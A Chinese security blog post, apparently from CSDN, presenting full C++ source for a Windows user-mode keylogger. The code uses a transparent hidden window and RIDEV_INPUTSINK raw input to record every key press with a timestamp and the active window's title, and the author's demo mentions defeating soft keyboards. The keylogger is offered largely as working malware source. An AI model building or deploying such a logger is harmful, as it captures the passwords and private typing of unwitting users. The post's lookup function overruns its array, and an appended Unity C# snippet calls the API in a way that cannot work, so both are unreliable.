系统安全:Ring3下基于GetRawInputData的键盘记录器

参考

3种简单的键盘记录简单介绍
使用GetRawInputData函数实现键盘按键记录
基于RawInput与宿主服务的新型键盘记录器
C++ 使用RAWINPUT,获取键盘原始输入

原理

上网一搜原始输入,一堆机翻的文章,看的人头大
果断放弃,转向 微软官方文档:raw input

注册原始输入设备

默认情况下,所有应用程序都不会接收WM_INPUT消息,为了接收某个设备发出的WM_INPUT消息,你必须先注册这个设备。被注册的设备有任何输入时,应用程序会收到符合所注册的TLC(Top Level Collection)的HID(人体工程学)设备的原始输入消息,即其消息队列会得到一个WM_INPUT消息

获取原始输入数据

捕获到WM_INPUT消息后,此消息的lParam存储了原始输入的句柄
在这里插入图片描述
进而可以使用GetRawInputData,从句柄获取RAWINPUT结构体中的数据,其中便有需要的虚拟键码,将其转ASCII即可
在这里插入图片描述

编码

main.cpp

#include <iostream>
#include <windows.h>
#include <winuser.h>
#include <ctime>
#include "vkey.h"

// 用于接收WM_INPUT的隐藏窗口的句柄
HWND myWindow;
// 当前焦点窗口的句柄
HWND prevWindow;
// 注册原始输入设备
VOID RegKeyboardRawInput(HWND myWindow);
// 自定义消息函数
LRESULT CALLBACK WindowProc(HWND hwnd, UINT uMsg, WPARAM wParam, LPARAM lParam);

VOID RegKeyboardRawInput(HWND myWindow){
    RAWINPUTDEVICE rawInputDevice[1];
    // 设备类
    rawInputDevice[0].usUsagePage = 0x01;
    // 设备类内的具体设备:键盘
    rawInputDevice[0].usUsage = 0x06;
    // 即使窗口失去焦点位置,仍然会一直接收输入消息
    rawInputDevice[0].dwFlags = RIDEV_INPUTSINK;
    // 用于接收WM_INPUT的窗口句柄
    rawInputDevice[0].hwndTarget = myWindow;
    // 注册
    if (RegisterRawInputDevices(rawInputDevice, 1, sizeof(rawInputDevice[0])) == FALSE){
        std::cout << "register failed." << std::endl;
    }
}

LRESULT CALLBACK WindowProc(_In_  HWND hwnd,_In_  UINT uMsg,_In_  WPARAM wParam,_In_  LPARAM lParam)
{
    switch (uMsg)
    {
        case WM_COMMAND:
            break;
        case WM_PAINT:
            break;
        case WM_DESTROY:
            PostQuitMessage(0);
            break;
        case WM_INPUT:{
            char virtualKey[1024] = {'\0'};
            char textInfo[1024] = {'\0'};
            UINT dwSize = 0;
            // 第一次调用函数传NULL获取需要的缓冲区大小
            GetRawInputData((HRAWINPUT)lParam, (UINT)RID_INPUT, NULL, &dwSize, sizeof(RAWINPUTHEADER));
            //分配指定的缓冲区大小
            LPBYTE lpbBuffer = new BYTE[dwSize];
            // 取数据到缓冲区
            GetRawInputData((HRAWINPUT)lParam, (UINT)RID_INPUT, (LPVOID)lpbBuffer, (PUINT)&dwSize, (UINT)sizeof(RAWINPUTHEADER));

            RAWINPUT* raw = (RAWINPUT *)lpbBuffer;
            //这里可以截获所有键盘信息,如需区分不同的键盘输入信息,可以通过设备句柄判断。
            if (raw->header.dwType == RIM_TYPEKEYBOARD){
                // 键被按下就记录一次,否则按住不放的话只显示一个字符
                if (raw->data.keyboard.Message == WM_KEYDOWN){
                    // 获取当前时间
                    char timeStr[50];
                    time_t now = time(NULL);
                    strftime(timeStr, 50, "%x %X", localtime(&now));
                    // 获取焦点窗口名称、键盘输入
                    prevWindow = GetForegroundWindow();
                    GetWindowText(prevWindow, textInfo, 256);
                    // 拼接输出
                    wsprintf(virtualKey, "[%s: %s] %s", &timeStr, &textInfo, GetKeyName(raw->data.keyboard.VKey));
                    std::cout << virtualKey << std::endl;
                }
            }
            delete[] lpbBuffer;
            return 0;
        }
        default:
            return DefWindowProc(hwnd, uMsg, wParam, lParam);
    }
    return 0;
}

int main() {
    //创建一个隐藏窗口
    HINSTANCE hInst;
    hInst = GetModuleHandle(NULL);	//获取一个应用程序或动态链接库的模块句柄
    WNDCLASSEX wcx;
    wcx.cbSize = sizeof(wcx);
    wcx.style = CS_HREDRAW | CS_VREDRAW | CS_OWNDC | CS_NOCLOSE;//窗口的风格
    wcx.lpfnWndProc = WindowProc;     //采用自定义消息处理函数
    wcx.cbClsExtra = 0;                // no extra class memory
    wcx.cbWndExtra = 0;                // no extra window memory
    wcx.hInstance = hInst;         //当前应用程序的实例句柄
    wcx.hIcon = LoadIcon(NULL,IDI_APPLICATION); //图标风格
    wcx.hCursor = LoadCursor(NULL,IDC_ARROW);  //鼠标风格
    wcx.hbrBackground = (HBRUSH)WHITE_BRUSH; //背景色
    wcx.lpszMenuName =NULL;  //菜单名
    wcx.lpszClassName = "ITSMYOSDCLASS"; //窗口类的名称
    wcx.hIconSm = NULL;

    if (!RegisterClassEx(&wcx))
    {
        std::cout << "RegisterClassEx failed" << std::endl;
        return 1;
    }

    //窗口在屏幕上的显示位置
    int OSDleft = GetSystemMetrics(SM_CXSCREEN) / 2 - 300;
    int OSDTop = GetSystemMetrics(SM_CYSCREEN) / 2;

    myWindow = CreateWindowEx(
            WS_EX_LAYERED | WS_EX_TOOLWINDOW | WS_EX_TOPMOST | WS_EX_TRANSPARENT | WS_EX_NOACTIVATE,//窗口的扩展风格
            wcx.lpszClassName,//上面注册的类名lpszClassName,要完全一致
            NULL,
            WS_VISIBLE | WS_POPUP,//窗口的风格
            OSDleft,//窗口相对于父级的X坐标
            OSDTop,//窗口相对于父级的Y坐标
            300,//窗口的宽度
            300,//窗口的高度
            (HWND)NULL,//没有父窗口,为(HWND)NULL//GetDesktopWindow(),
            (HMENU)NULL,//没有菜单,为NULL
            hInst,//当前应用程序的实例句柄
            (LPVOID)NULL);	//没有附加数据,为NULL

    if (!myWindow)
    {
        std::cout << "CreateWindowEx failed" << std::endl;
        return 1;
    }
    RegKeyboardRawInput(myWindow);
    //消息循环
    MSG msg;
    while (GetMessage(&msg, (HWND)NULL, 0, 0))
    {
        TranslateMessage(&msg);
        DispatchMessage(&msg);
    }

    return 0;
}

vkey.h

#ifndef _VKEY_H
#define _VKEY_H

struct VKeyInfo{
	USHORT VKey;
	LPCSTR VKname;
};

#define AddVKey(VK, VKName)   {(VK), (VKName)}

static VKeyInfo vkis[] = {
		AddVKey(VK_LBUTTON, "Left mouse button"),
		AddVKey(VK_RBUTTON, "Right mouse button"),
        AddVKey(VK_CANCEL, "Control-break processing"),
		AddVKey(0x04, "Middle mouse button (three-button mouse)"),
		AddVKey(0x05, "Windows 2000/XP: X1 mouse button"),
		AddVKey(0x06, "Windows 2000/XP: X2 mouse button"),
		AddVKey(0x07, "Undefined"),
		AddVKey(VK_BACK, "BACKSPACE key"),
		AddVKey(VK_TAB, "TAB key"),
		AddVKey(0x0A, "Reserved"),
		AddVKey(0x0B, "Reserved"),
		AddVKey(VK_CLEAR, "CLEAR key"),
		AddVKey(VK_RETURN, "ENTER key"),
		AddVKey(0x0E, "Undefined"),
		AddVKey(0x0F, "Undefined"),
		AddVKey(VK_SHIFT, "SHIFT key"),
		AddVKey(VK_CONTROL, "CTRL key"),
		AddVKey(VK_MENU, "ALT key"),
		AddVKey(VK_PAUSE, "PAUSE key"),
		AddVKey(VK_CAPITAL, "CAPS LOCK key"),
		AddVKey(VK_KANA, "Input Method Editor (IME) Kana mode"),
		AddVKey(VK_HANGUL, "IME Hangul mode"),
		AddVKey(0x16, "Undefined"),
		AddVKey(VK_JUNJA, "IME Junja mode"),
		AddVKey(VK_FINAL, "IME final mode"),
		AddVKey(VK_HANJA, "IME Hanja mode"),
		AddVKey(VK_KANJI, "IME Kanji mode"),
		AddVKey(0x1A, "Undefined"),
		AddVKey(VK_ESCAPE, "ESC key"),
		AddVKey(VK_CONVERT, "IME convert"),
		AddVKey(VK_NONCONVERT, "IME nonconvert"),
		AddVKey(VK_ACCEPT, "IME accept"),
		AddVKey(VK_MODECHANGE, "IME mode change request"),
		AddVKey(VK_SPACE, "SPACEBAR"),
		AddVKey(VK_PRIOR, "PAGE UP key"),
		AddVKey(VK_NEXT, "PAGE DOWN key"),
		AddVKey(VK_END, "END key"),
		AddVKey(VK_HOME, "HOME key"),
		AddVKey(VK_LEFT, "LEFT ARROW key"),
		AddVKey(VK_UP, "UP ARROW key"),
		AddVKey(VK_RIGHT, "RIGHT ARROW key"),
		AddVKey(VK_DOWN, "DOWN ARROW key"),
		AddVKey(VK_SELECT, "SELECT key"),
		AddVKey(VK_PRINT, "PRINT key"),
		AddVKey(VK_EXECUTE, "EXECUTE key"),
		AddVKey(VK_SNAPSHOT, "PRINT SCREEN key"),
		AddVKey(VK_INSERT, "INSERT key"),
		AddVKey(VK_DELETE, "DEL key"),
		AddVKey(VK_HELP, "HELP key"),
		AddVKey(0x30, "0"),
		AddVKey(0x31, "1"),
		AddVKey(0x32, "2"),
		AddVKey(0x33, "3"),
		AddVKey(0x34, "4"),
		AddVKey(0x35, "5"),
		AddVKey(0x36, "6"),
		AddVKey(0x37, "7"),
		AddVKey(0x38, "8"),
		AddVKey(0x39, "9"),
		AddVKey(0x3A, "Undefined"),
		AddVKey(0x3B, "Undefined"),
		AddVKey(0x3C, "Undefined"),
		AddVKey(0x3D, "Undefined"),
		AddVKey(0x3E, "Undefined"),
		AddVKey(0x3F, "Undefined"),
		AddVKey(0x40, "Undefined"),
		AddVKey(0x41, "A"),
		AddVKey(0x42, "B"),
		AddVKey(0x43, "C"),
		AddVKey(0x44, "D"),
		AddVKey(0x45, "E"),
		AddVKey(0x46, "F"),
		AddVKey(0x47, "G"),
		AddVKey(0x48, "H"),
		AddVKey(0x49, "I"),
		AddVKey(0x4A, "J"),
		AddVKey(0x4B, "K"),
		AddVKey(0x4C, "L"),
		AddVKey(0x4D, "M"),
		AddVKey(0x4E, "N"),
		AddVKey(0x4F, "O"),
		AddVKey(0x50, "P"),
		AddVKey(0x51, "Q"),
		AddVKey(0x52, "R"),
		AddVKey(0x53, "S"),
		AddVKey(0x54, "T"),
		AddVKey(0x55, "U"),
		AddVKey(0x56, "V"),
		AddVKey(0x57, "W"),
		AddVKey(0x58, "X"),
		AddVKey(0x59, "Y"),
		AddVKey(0x5A, "Z"),
		AddVKey(VK_LWIN, "Left Windows key (Microsoft Natural keyboard)"),
		AddVKey(VK_RWIN, "Right Windows key (Natural keyboard)"),
		AddVKey(VK_APPS, "Applications key (Natural keyboard)"),
		AddVKey(0x5E, "Reserved"),
		AddVKey(VK_NUMPAD0,"Numeric keypad 0 key"),
		AddVKey(VK_NUMPAD1, "Numeric keypad 1 key"),
		AddVKey(VK_NUMPAD2, "Numeric keypad 2 key"),
		AddVKey(VK_NUMPAD3, "Numeric keypad 3 key"),
		AddVKey(VK_NUMPAD4, "Numeric keypad 4 key"),
		AddVKey(VK_NUMPAD5, "Numeric keypad 5 key"),
		AddVKey(VK_NUMPAD6, "Numeric keypad 6 key"),
		AddVKey(VK_NUMPAD7, "Numeric keypad 7 key"),
		AddVKey(VK_NUMPAD8, "Numeric keypad 8 key"),
		AddVKey(VK_NUMPAD9, "Numeric keypad 9 key"),
		AddVKey(VK_MULTIPLY, "Multiply key"),
		AddVKey(VK_ADD, "Add key"),
		AddVKey(VK_SEPARATOR, "Separator key"),
		AddVKey(VK_SUBTRACT, "Subtract key"),
		AddVKey(VK_DECIMAL, "Decimal key"),
		AddVKey(VK_DIVIDE, "Divide key"),
		AddVKey(VK_F1, "F1 key"),
		AddVKey(VK_F2, "F2 key"),
		AddVKey(VK_F3, "F3 key"),
		AddVKey(VK_F4, "F4 key"),
		AddVKey(VK_F5, "F5 key"),
		AddVKey(VK_F6, "F6 key"),
		AddVKey(VK_F7, "F7 key"),
		AddVKey(VK_F8, "F8 key"),
		AddVKey(VK_F9, "F9 key"),
		AddVKey(VK_F10, "F10 key"),
		AddVKey(VK_F11, "F11 key"),
		AddVKey(VK_F12, "F12 key"),
		AddVKey(VK_F13, "F13 key"),
		AddVKey(VK_F14, "F14 key"),
		AddVKey(VK_F15, "F15 key"),
		AddVKey(VK_F16, "F16 key"),
		AddVKey(VK_F17, "F17 key"),
		AddVKey(VK_F18, "F18 key"),
		AddVKey(VK_F19, "F19 key"),
		AddVKey(VK_F20, "F20 key"),
		AddVKey(VK_F21, "F21 key"),
		AddVKey(VK_F22, "F22 key"),
		AddVKey(VK_F23, "F23 key"),
		AddVKey(VK_F24, "F24 key"),
		AddVKey(0x88, "Unassigned"),
		AddVKey(0x89, "Unassigned"),
		AddVKey(0x8A, "Unassigned"),
		AddVKey(0x8B, "Unassigned"),
		AddVKey(0x8C, "Unassigned"),
		AddVKey(0x8D, "Unassigned"),
		AddVKey(0x8E, "Unassigned"),
		AddVKey(0x8F, "Unassigned"),
		AddVKey(VK_NUMLOCK, "NUM LOCK key"),
		AddVKey(VK_SCROLL, "SCROLL LOCK key"),
		AddVKey(0x92, "OEM specific"),
		AddVKey(0x93, "OEM specific"),
		AddVKey(0x94, "OEM specific"),
		AddVKey(0x95, "OEM specific"),
		AddVKey(0x96, "OEM specific"),
		AddVKey(0x97, "Unassigned"),
		AddVKey(0x98, "Unassigned"),
		AddVKey(0x99, "Unassigned"),
		AddVKey(0x9A, "Unassigned"),
		AddVKey(0x9B, "Unassigned"),
		AddVKey(0x9C, "Unassigned"),
		AddVKey(0x9D, "Unassigned"),
		AddVKey(0x9E, "Unassigned"),
		AddVKey(0x9F, "Unassigned"),
		AddVKey(VK_LSHIFT, "Left SHIFT key"),
		AddVKey(VK_RSHIFT, "Right SHIFT key"),
		AddVKey(VK_LCONTROL, "Left CONTROL key"),
		AddVKey(VK_RCONTROL, "Right CONTROL key"),
		AddVKey(VK_LMENU, "Left MENU key"),
		AddVKey(VK_RMENU, "Right MENU key"),
		AddVKey(0xA6, "Windows 2000/XP: Browser Back key"),
		AddVKey(0xA7, "Windows 2000/XP: Browser Forward key"),
		AddVKey(0xA8, "Windows 2000/XP: Browser Refresh key"),
		AddVKey(0xA9, "Windows 2000/XP: Browser Stop key"),
		AddVKey(0xAA, "Windows 2000/XP: Browser Search key"),
		AddVKey(0xAB, "Windows 2000/XP: Browser Favorites key"),
		AddVKey(0xAC, "Windows 2000/XP: Browser Start and Home key"),
		AddVKey(0xAD, "Windows 2000/XP: Volume Mute key"),
		AddVKey(0xAE, "Windows 2000/XP: Volume Down key"),
		AddVKey(0xAF, "Windows 2000/XP: Volume Up key"),
		AddVKey(0xB0, "Windows 2000/XP: Next Track key"),
		AddVKey(0xB1, "Windows 2000/XP: Previous Track key"),
		AddVKey(0xB2, "Windows 2000/XP: Stop Media key"),
		AddVKey(0xB3, "Windows 2000/XP: Play/Pause Media key"),
		AddVKey(0xB4, "Windows 2000/XP: Start Mail key"),
		AddVKey(0xB5, "Windows 2000/XP: Select Media key"),
		AddVKey(0xB6, "Windows 2000/XP: Start Application 1 key"),
		AddVKey(0xB7, "Windows 2000/XP: Start Application 2 key"),
		AddVKey(0xB8, "Reserved"),
		AddVKey(0xB9, "Reserved"),
    	AddVKey(0xBB, "the \'+\' key"),
		AddVKey(0xBC, "the \',\' key"),
		AddVKey(0xBD, "the \'-\' key"),
		AddVKey(0xBE, "the \'.\' key"),
		AddVKey(0xBF, " the \'/?\' key"),
		AddVKey(0xC0, " the \'`~\' key"),
		AddVKey(0xC1, "Reserved"),
		AddVKey(0xC2, "Reserved"),
		AddVKey(0xC3, "Reserved"),
		AddVKey(0xC4, "Reserved"),
		AddVKey(0xC5, "Reserved"),
		AddVKey(0xC6, "Reserved"),
		AddVKey(0xC7, "Reserved"),
		AddVKey(0xC8, "Reserved"),
		AddVKey(0xC9, "Reserved"),
		AddVKey(0xCA, "Reserved"),
		AddVKey(0xCB, "Reserved"),
		AddVKey(0xCC, "Reserved"),
		AddVKey(0xCD, "Reserved"),
		AddVKey(0xCE, "Reserved"),
		AddVKey(0xCF, "Reserved"),
		AddVKey(0xD0, "Reserved"),
		AddVKey(0xD1, "Reserved"),
		AddVKey(0xD2, "Reserved"),
		AddVKey(0xD3, "Reserved"),
		AddVKey(0xD4, "Reserved"),
		AddVKey(0xD5, "Reserved"),
		AddVKey(0xD6, "Reserved"),
		AddVKey(0xD7, "Reserved"),
		AddVKey(0xD8, "Unassigned"),
		AddVKey(0xD9, "Unassigned"),
		AddVKey(0xDA, "Unassigned"),
		AddVKey(0xDB, "the \'[{\' key"),
	    AddVKey(0xDC, "the \'\\|\' key"),
	    AddVKey(0xDD, "the \']}\' key"),
	    AddVKey(0xDE,"the \'single-quote/double-quote\' key"),
	    AddVKey(0xDF, "Used for miscellaneous characters; it can vary by keyboard."),
		AddVKey(0xE0, "Reserved"),
		AddVKey(0xE1, "OEM specific"),
		AddVKey(0xE2, "Windows 2000/XP: Either the angle bracket key or the backslash key on the RT 102-key keyboard"),
		AddVKey(0xE3, "OEM specific"),
		AddVKey(0xE4, "OEM specific"),
		AddVKey(VK_PROCESSKEY, "Windows 95/98/Me, Windows NT 4.0, Windows 2000/XP: IME PROCESS key"),
		AddVKey(0xE6, "OEM specific"),
		AddVKey(0xE7, "Windows 2000/XP: Used to pass Unicode characters as if they were keystrokes. The VK_PACKET key is the low word of a 32-bit Virtual Key value used for non-keyboard input methods. For more information, see Remark in KEYBDINPUT, SendInput, WM_KEYDOWN, and WM_KEYUP"),
		AddVKey(0xE8, "Unassigned"),
		AddVKey(0xE9, "OEM specific"),
		AddVKey(0xEA, "OEM specific"),
		AddVKey(0xEB, "OEM specific"),
		AddVKey(0xEC, "OEM specific"),
		AddVKey(0xED, "OEM specific"),
		AddVKey(0xEF, "OEM specific"),
		AddVKey(0xF0, "OEM specific"),
		AddVKey(0xF1, "OEM specific"),
		AddVKey(0xF2, "OEM specific"),
		AddVKey(0xF3, "OEM specific"),
		AddVKey(0xF4, "OEM specific"),
		AddVKey(0xF5, "OEM specific"),
		AddVKey(VK_ATTN, "Attn key"),
		AddVKey(VK_CRSEL, "CrSel key"),
		AddVKey(VK_EXSEL, "ExSel key"),
		AddVKey(VK_EREOF, "Erase EOF key"),
		AddVKey(VK_PLAY, "Play key"),
		AddVKey(VK_ZOOM, "Zoom key"),
	    AddVKey(VK_NONAME, "Reserved"),
	    AddVKey(VK_PA1, "PA1 key"),
		AddVKey(VK_OEM_CLEAR, "Clear key"),
		AddVKey(0xFF, "Unknown Virtual-Key Code")
};


LPCSTR GetKeyName(USHORT VKey)
{
    int i;
	for( i = 0; i < sizeof(vkis); i++)
	{
		if(VKey == vkis[i].VKey)
			return vkis[i].VKname;
	}
	return vkis[--i].VKname;
}


#endif

演示

在这里插入图片描述
当然qq密码啥的没这么容易获取

在这里插入图片描述
过个普通软键盘还是不成问题的
在这里插入图片描述

  • 5
    点赞
  • 8
    收藏
    觉得还不错? 一键收藏
  • 3
    评论
在Unity中,您可以使用`GetRawInputData`函数来获取Windows系统键盘的原始输入。以下是一个示例代码,演示如何使用该函数: ```c# using UnityEngine; using System; using System.Runtime.InteropServices; public class RawInputExample : MonoBehaviour { [DllImport("user32.dll")] public static extern uint GetRawInputData(IntPtr hRawInput, uint uiCommand, IntPtr pData, ref uint pcbSize, uint cbSizeHeader); [StructLayout(LayoutKind.Sequential)] public struct RAWINPUTDEVICE { public ushort usUsagePage; public ushort usUsage; public uint dwFlags; public IntPtr hwndTarget; } [StructLayout(LayoutKind.Sequential)] public struct RAWINPUTHEADER { public uint dwType; public uint dwSize; public IntPtr hDevice; public IntPtr wParam; } [StructLayout(LayoutKind.Sequential)] public struct RAWKEYBOARD { public ushort MakeCode; public ushort Flags; public ushort Reserved; public ushort VKey; public uint Message; public ulong ExtraInformation; } const uint RIDEV_INPUTSINK = 0x00000100; void Start() { // 注册原始输入设备 RAWINPUTDEVICE[] rawInputDevices = new RAWINPUTDEVICE[1]; rawInputDevices[0].usUsagePage = 0x01; rawInputDevices[0].usUsage = 0x06; rawInputDevices[0].dwFlags = RIDEV_INPUTSINK; rawInputDevices[0].hwndTarget = IntPtr.Zero; if (!RegisterRawInputDevices(rawInputDevices, (uint)rawInputDevices.Length, (uint)Marshal.SizeOf(typeof(RAWINPUTDEVICE)))) { Debug.LogError("Failed to register raw input devices."); return; } } void Update() { uint dataSize = 0; // 获取原始输入数据的大小 GetRawInputData(IntPtr.Zero, 0x10000003, IntPtr.Zero, ref dataSize, (uint)Marshal.SizeOf(typeof(RAWINPUTHEADER))); if (dataSize > 0) { IntPtr data = Marshal.AllocHGlobal((int)dataSize); try { // 获取原始输入数据 GetRawInputData(IntPtr.Zero, 0x10000003, data, ref dataSize, (uint)Marshal.SizeOf(typeof(RAWINPUTHEADER))); RAWINPUTHEADER header = Marshal.PtrToStructure<RAWINPUTHEADER>(data); if (header.dwType == 0x01) // 键盘输入 { RAWKEYBOARD keyboardData = Marshal.PtrToStructure<RAWKEYBOARD>(IntPtr.Add(data, (int)header.dwSize)); // 处理键盘输入 Debug.Log("Key pressed: " + keyboardData.VKey); } } finally { Marshal.FreeHGlobal(data); } } } [DllImport("user32.dll")] private static extern bool RegisterRawInputDevices(RAWINPUTDEVICE[] pRawInputDevices, uint uiNumDevices, uint cbSize); } ``` 在`Start`方法中,我们使用`RegisterRawInputDevices`函数注册原始输入设备,并指定我们要监听键盘输入的目标窗口。 在`Update`方法中,我们使用`GetRawInputData`函数获取原始输入数据。首先,我们通过指定命令0x10000003和传递空指针来获取数据的大小。然后,我们根据获取的大小分配内存并再次调用`GetRawInputData`函数来获取实际的原始输入数据。最后,我们根据输入数据的类型(键盘输入)处理相应的逻辑。 请注意,此示例代码只是演示了如何获取原始键盘输入数据,并未进行详细的错误处理和其他输入设备的处理。在实际使用中,您可能需要根据具体需求进行适当的修改和补充。
评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值